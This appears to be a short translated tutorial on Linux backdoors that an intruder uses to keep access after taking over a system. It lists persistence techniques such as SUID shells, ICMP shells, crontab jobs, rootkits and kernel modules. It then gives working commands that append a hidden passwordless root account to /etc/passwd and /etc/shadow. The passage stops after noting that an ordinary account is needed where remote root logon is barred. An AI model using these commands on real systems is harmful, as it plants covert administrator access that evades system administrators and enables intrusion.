Advanced network security skills Linux backdoor technology and practices

Backdoor Introduction

A technology used to facilitate next entry after intruders fully control the system. You can modify the system configuration file and install a third-party backdoor tool. It is concealed and can bypass system logs and is not easily discovered by system administrators.

Common backdoor technology

Add a Super User Account

Crack/sniff User Password

Place SUID Shell

Rhosts ++

Using system service programs

TCP/UDP/ICMP Shell

Crontab scheduled task

Shared library files

Toolkit rootkit

Loadable kernel module (LKM)

Add Super Users

# echo "e4gle:x:0:0::/:/bin/sh" >> /etc/passwd # echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

If the system does not allow users with uid = 0 to log on remotely, you need to add a common user account.

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